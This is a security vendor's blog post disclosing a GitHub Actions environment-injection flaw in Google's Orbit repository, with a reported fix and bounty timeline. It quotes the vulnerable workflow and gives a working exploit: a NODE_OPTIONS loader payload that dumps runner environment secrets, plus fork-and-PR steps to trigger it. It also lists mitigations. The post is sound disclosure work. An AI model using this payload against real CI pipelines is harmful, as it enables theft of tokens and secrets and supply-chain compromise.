• Blog
  • How We Found Another GitHub Actions Environment Injection Vulnerability in a Google Project

Blog

How We Found Another GitHub Actions Environment Injection Vulnerability in a Google Project

This blog shows another case of a GitHub Actions environment injection vulnerability in a Google repository. We previously found vulnerabilities in Firebase repositories and a detailed explanation can be found here including the underline mechanism that allows this type of vulnerability. By exploiting this latest vulnerability an attack could put Google’s Orbit users and maintainers at risk by injecting malicious code, conducting phishing attacks and more, depending on the project specific configuration.

Google Orbit

Google’s Orbit (open run time binary instrumentation tool) is a binary profiling application. Its main purpose is to help developers identify performance bottlenecks in a complex application.

The repository contained two similar vulnerable workflows:

  1. “.github/workflows/report-checks.yml”

  2. “.github/workflows/report-build-and-test.yml”

(Content of report-checks.yml)

name: report-checks
on:
  workflow_run:
    workflows: ['checks']
    types:
      - completed
permissions: read-all
jobs:
  report-missing-license-headers:
    permissions:
      checks: write
      statuses: write
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v3
      with:
        fetch-depth: '0'
    - name: Download artifact
      uses: dawidd6/action-download-artifact@e6e25ac3a2b93187502a8be1ef9e9603afc34925 # v2.24.2
      with:
        workflow: $
        workflow_conclusion: ''
        name: missing_license_headers
    - name: Report missing headers
      run: ./contrib/scripts/report-license-headers.sh
      env:
        GITHUB_TOKEN: $
        COMMIT_SHA: $
      shell: bash
  report-clang-format-diff:
    permissions:
      pull-requests: write
    runs-on: ubuntu-latest
    steps:
    - name: Download artifact
      uses: dawidd6/action-download-artifact@e6e25ac3a2b93187502a8be1ef9e9603afc34925 # v2.24.2
      with:
        workflow: $
        workflow_conclusion: ''
    - run: echo "PR_NUMBER=$(cat pr_number/pr_number.txt | jq -r .)" >> $GITHUB_ENV

This workflow does the following operations:

  • It is triggered whenever a workflow named “checks” finishes

on:
  workflow_run:
    workflows: ['checks']

  •  It downloads an artifact that it expects to be previously uploaded by the “checks” workflow
- name: Download artifact

      uses: dawidd6/action-download-artifact@e6e25ac3a2b93187502a8be1ef9e9603afc34925 # v2.24.2
      with:

        workflow: $

        workflow_conclusion: '
  • It then reads the pull-request number from artifact and writes it into the ‘pr_number' environment variable
 
- run: echo "PR_NUMBER=$(cat pr_number/pr_number.txt | jq -r .)" >> $GITHUB_ENV
 

Where is the problem

The uploaded artifact is controlled by a potentially malicious actor. This means an adversary could trick the privileged “report-checks” workflow to write malicious content into the GITHUB_ENV file.

As explained in part 3 of the series, by controlling the content written to the GITHUB_ENV file attacker can gain code execution on the privilege workflow.

For example, to dump the runner environment variables, the following environment could be set:

NODE_OPTIONS=--experimental-modules  
--experimental-loader=data:text/javascript,console.log(Buffer.from(JSON.stringify(process.env)).toSt  
ring('hex'));

The exploitation flow:

1. Fork the repository

2. Create a workflow ".github/workflows/exploit.yml" with the following payload:

name: CI
on: checks
jobs:
  job:
    runs-on: ubuntu-latest
    steps:
          - run: echo -e "11\NODE_OPTIONS=--experimental-modules  
--experimental-loader=data:text/javascript,console.log(Buffer.from(JSON.stringify(process.env)).toSt  
ring('hex'));//" >> pr_number.txt
          - uses: actions/upload-artifact@v2
            name: pr_metadata
            path: ./pr_number.txt

3. Open a pull request to base repository

4. The completion of the malicious workflow will trigger the vulnerable workflow and the exploitation flow.

Consequences:

The vulnerable job has access to a GitHub token with 'pull-request: write' scope and a GitHub token name 'ORBITPROFILER_BOT_PAT'

An attacker can use the exfiltrated GITHUB_TOKEN to perform a variety of malicious activities, such as:

  1. Approving malicious pull requests

  2. Commenting on pull_requests / issues with malicious links

  3. Additional malicious activity depending on the permissions of 'ORBITPROFILER_BOT_PAT' and on the repository’s specific configurations

What Can You Do to Protect Yourselves 

  • Never write untrusted input data to the environment file

  • Restrict the GitHub token permissions only to the required ones; this way, even if an attacker succeeds in compromising your workflow, they won’t be able to do much

  • Prefer using Actions output parameters instead of environment variables

  • If possible, check that the triggering workflow doesn’t belong to a forked repository, and if it does require human approval, as explained in this blog post: Using Environment Protection Rules to Secure Secrets When Building External Forks with pull_request_target

Timeline

  • May 17: reported issue to Google through their bug bounty program

  • May 18, Google acknowledged the issue

  • May 22: Google removed the vulnerable code and stated that the repository is old and not currently maintained

  • June 7: Received bounty (that we’ll donate)

Legit Security Can Help You Prevent Software Supply Chain Attacks

The Legit Security platform connects to your GitHub organization and detects vulnerable workflows such as this one in real-time and much more. If you are concerned about these vulnerabilities and others across your software supply chain, please contact us or request a demo on our website.


Ready to learn more? Schedule a product demo or check out the Legit Security Platform. 

Share this guide

Published on
July 03, 2023

Get a stronger AppSec foundation you can trust and prove it’s doing the job right.

Request a Demo